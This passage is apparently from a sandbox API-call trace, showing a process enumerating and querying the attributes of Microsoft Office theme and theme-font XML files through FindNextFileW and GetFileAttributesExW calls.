	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.845] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ab48 | out: lpFileInformation=0x1277ab48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19)) returned 1
	[0051.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ab98 | out: lpFileInformation=0x1277ab98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a)) returned 1
	[0051.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277abe8 | out: lpFileInformation=0x1277abe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee)) returned 1
	[0051.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ac38 | out: lpFileInformation=0x1277ac38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f)) returned 1
	[0051.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ac88 | out: lpFileInformation=0x1277ac88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b)) returned 1
	[0051.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277acd8 | out: lpFileInformation=0x1277acd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16)) returned 1
	[0051.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ad28 | out: lpFileInformation=0x1277ad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb)) returned 1
	[0051.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ad78 | out: lpFileInformation=0x1277ad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f)) returned 1
	[0051.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277adc8 | out: lpFileInformation=0x1277adc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f)) returned 1
	[0051.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ae18 | out: lpFileInformation=0x1277ae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e)) returned 1
	[0051.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277ae68 | out: lpFileInformation=0x1277ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6)) returned 1
	[0051.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277aeb8 | out: lpFileInformation=0x1277aeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc)) returned 1
	[0051.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277af08 | out: lpFileInformation=0x1277af08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48)) returned 1
	[0051.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277af58 | out: lpFileInformation=0x1277af58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5)) returned 1
	[0051.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277afa8 | out: lpFileInformation=0x1277afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16)) returned 1
	[0051.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277aff8 | out: lpFileInformation=0x1277aff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f)) returned 1
	[0051.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b048 | out: lpFileInformation=0x1277b048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5)) returned 1
	[0051.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b098 | out: lpFileInformation=0x1277b098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4)) returned 1
	[0051.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b0e8 | out: lpFileInformation=0x1277b0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59)) returned 1
	[0051.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b138 | out: lpFileInformation=0x1277b138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09)) returned 1
	[0051.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b188 | out: lpFileInformation=0x1277b188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a)) returned 1
	[0051.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b1d8 | out: lpFileInformation=0x1277b1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed)) returned 1
	[0051.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b228 | out: lpFileInformation=0x1277b228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13)) returned 1
	[0051.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b278 | out: lpFileInformation=0x1277b278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05)) returned 1
	[0051.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b2c8 | out: lpFileInformation=0x1277b2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39)) returned 1
	[0051.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b318 | out: lpFileInformation=0x1277b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15)) returned 1
	[0051.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b368 | out: lpFileInformation=0x1277b368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b3b8 | out: lpFileInformation=0x1277b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b408 | out: lpFileInformation=0x1277b408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b458 | out: lpFileInformation=0x1277b458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b4a8 | out: lpFileInformation=0x1277b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed)) returned 1
